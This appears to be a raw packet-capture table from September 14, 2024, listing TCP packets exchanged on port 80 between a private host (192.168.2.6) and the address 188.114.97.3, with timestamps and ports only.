Sep 14, 2024 18:44:10.331864119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331897974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331929922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331942081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331963062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331998110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332009077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332031965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332063913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332075119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332096100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332128048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332144022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332161903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332195997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332217932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332314968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332365036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332366943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332396984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332429886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332442999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332467079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332501888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332514048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332535028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332566023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332576990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332598925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332629919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332643986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332662106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332694054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332706928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332726955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332762003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332767963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332797050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332842112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332847118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332885027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332936049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.332938910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.332973957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333008051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333023071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.333041906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333072901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333090067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.333106995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333141088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333153009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.333174944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333204031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.333221912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.375046968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.376436949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376490116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376528978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376543045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.376580954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376614094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376632929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.376646996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376684904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.376693964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.377840996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.377897024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.377897978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.377934933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.377990961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.377994061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378029108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378062963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378078938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.378102064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378151894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.378613949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378650904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378705025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378719091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.378757000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378791094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378823042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378863096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378863096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.378885031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.378894091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.378947973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421135902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421317101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421349049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421365976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421384096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421418905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421426058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421468019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421499014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421509981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421531916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421566010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421574116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421653986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421695948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421708107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421746969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421792030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421828032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421859026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421890974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421905041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.421925068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421958923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.421968937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422008038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422040939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422060966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422072887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422108889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422116995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422151089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422194004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422594070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422626019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422660112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422676086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422697067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422732115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422746897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422764063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422796965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422813892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422830105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422866106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.422879934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.422925949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423029900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423120975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423152924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423187017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423202038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423302889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423336029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423352957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423367977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423413038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423454046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423485041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423518896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423537970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423553944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423602104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423604965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423640013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423672915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423686981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423708916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423742056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423758030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423774958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423806906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423821926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423839092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423871040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423888922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423907042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423954964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.423955917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.423986912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424016953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424048901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424083948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424086094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424103022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424161911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424195051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424210072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424227953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424266100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424285889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424299955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424345016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424350977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424384117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424416065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424423933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424455881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424489021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424503088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424539089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424571037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424582005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424602985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424638987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424649000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424670935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424714088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424721003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424751997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424792051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424798012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424823999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424860954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424873114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424911022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424943924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.424957991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.424976110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425013065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425021887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.425045967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425079107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425098896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.425110102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425143957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425154924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.425175905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425211906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425216913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.425240040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.425285101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.465760946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.465795994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.465876102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.465920925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.466053963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.466085911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.466097116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.466120005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.466156006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.466166019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.466191053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.466234922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467335939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467366934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467420101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467422009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467453003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467487097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467519045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467554092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467561960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467588902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467591047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467633963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467681885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467715025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467746973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467771053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467784882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467818975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467829943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.467849970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467884064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.467956066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.512803078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.512871027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.512904882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.512912989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.512937069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.512963057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.512973070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513019085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513025045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513061047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513092995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513132095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513176918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513176918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513216972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513250113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513309002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513367891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513401985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513434887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513446093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513470888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513504028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513518095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513537884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513570070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513580084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513606071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513642073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513648033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513674974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513705969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513715982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513741970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.513780117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.513808012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514000893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514034033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514065981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514100075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514108896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514122963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514151096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514183998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514193058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514219046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514254093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514257908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514305115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514338017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514345884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514372110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514446974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514460087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514492989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514527082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514544010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514563084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514595032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514605999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514628887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514662981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514676094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514763117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514795065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514827967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514832020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514864922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514873981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514897108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514929056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514936924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.514961958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.514997959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515000105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515232086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515264034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515302896 CEST	49722	80	192.168.2.6	188.114.97.3
